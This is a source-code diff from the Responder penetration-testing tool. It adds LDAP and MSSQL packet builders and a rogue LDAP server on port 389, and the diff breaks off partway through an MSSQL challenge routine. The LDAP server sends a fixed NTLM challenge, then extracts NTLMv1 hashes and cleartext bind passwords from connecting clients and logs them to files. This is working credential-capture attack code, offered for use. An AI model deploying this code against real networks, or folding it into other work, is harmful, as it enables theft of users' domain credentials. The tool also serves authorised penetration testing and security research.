#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
class LDAPSearchDefaultPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLen", "\x0c"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x0f"),
|
||||
("OpHeadASNID", "\x65"),
|
||||
("OpHeadASNIDLen", "\x07"),
|
||||
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedCapabilitiesPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x15"),#21
|
||||
("SearchAttribASN2Str", "supportedCapabilities"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x16"),#22
|
||||
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x17"),#23
|
||||
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x17"),#23
|
||||
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedMechanismsPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x17"),#23
|
||||
("SearchAttribASN2Str", "supportedSASLMechanisms"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x06"),#6
|
||||
("SearchAttrib1ASNStr", "GSSAPI"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x0a"),#10
|
||||
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x08"),#8
|
||||
("SearchAttrib3ASNStr", "EXTERNAL"),
|
||||
("SearchAttrib4ASNID", "\x04"),
|
||||
("SearchAttrib4ASNLen", "\x0a"),#10
|
||||
("SearchAttrib4ASNStr", "DIGEST-MD5"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPNTLMChallenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x61"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
|
||||
("Status", "\x0A"),
|
||||
("StatusASNLen", "\x01"),
|
||||
("StatusASNStr", "\x0e"), #In Progress.
|
||||
("MatchedDN", "\x04\x00"), #Null
|
||||
("ErrorMessage", "\x04\x00"), #Null
|
||||
("SequenceHeader", "\x87"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\x82"), #188
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### LDAP Len Calculation:
|
||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
121
core/protocols/ldap/LDAPServer.py
Normal file
121
core/protocols/ldap/LDAPServer.py
Normal file
|
@ -0,0 +1,121 @@
|
|||
##################################################################################
|
||||
#LDAP Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class LDAPServer():
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self, LDAP_On_Off):
|
||||
if LDAP_On_Off == "ON":
|
||||
t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if LDAP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data,client):
|
||||
SSPIStarts = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
responder_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = '[+]LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
responder_logger.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data,client):
|
||||
if data[1:2] == '\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == "\x60":
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'[LDAP]User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
responder_logger.info('[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
elif Operation == "\x63":
|
||||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
responder_logger.info('[LDAP]Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
buffer0 = ParseLDAPPacket(data,self.client_address[0])
|
||||
if buffer0:
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass #No need to print timeout errors.
|
||||
|
||||
##################################################################################
|
||||
#LDAP Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/ldap/__init__.py
Normal file
0
core/protocols/ldap/__init__.py
Normal file
167
core/protocols/mssql/MSSQLPackets.py
Normal file
167
core/protocols/mssql/MSSQLPackets.py
Normal file
|
@ -0,0 +1,167 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#MS-SQL Pre-login packet class
|
||||
class MSSQLPreLoginAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\x25"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\x00"),
|
||||
("VersionOffset", "\x00\x15"),
|
||||
("VersionLen", "\x00\x06"),
|
||||
("TokenType1", "\x01"),
|
||||
("EncryptionOffset", "\x00\x1b"),
|
||||
("EncryptionLen", "\x00\x01"),
|
||||
("TokenType2", "\x02"),
|
||||
("InstOptOffset", "\x00\x1c"),
|
||||
("InstOptLen", "\x00\x01"),
|
||||
("TokenTypeThrdID", "\x03"),
|
||||
("ThrdIDOffset", "\x00\x1d"),
|
||||
("ThrdIDLen", "\x00\x00"),
|
||||
("ThrdIDTerminator", "\xff"),
|
||||
("VersionStr", "\x09\x00\x0f\xc3"),
|
||||
("SubBuild", "\x00\x00"),
|
||||
("EncryptionStr", "\x02"),
|
||||
("InstOptStr", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
|
||||
|
||||
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
|
||||
|
||||
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
|
||||
|
||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||
|
||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
#Version
|
||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
||||
#Encryption
|
||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
||||
#InstOpt
|
||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
||||
#ThrdIDOffset
|
||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
||||
|
||||
#MS-SQL NTLM Negotiate packet class
|
||||
class MSSQLNTLMChallengeAnswer(Packet):
|
||||
fields = OrderedDict([
|
||||
("PacketType", "\x04"),
|
||||
("Status", "\x01"),
|
||||
("Len", "\x00\xc7"),
|
||||
("SPID", "\x00\x00"),
|
||||
("PacketID", "\x01"),
|
||||
("Window", "\x00"),
|
||||
("TokenType", "\xed"),
|
||||
("SSPIBuffLen", "\xbc\x00"),
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
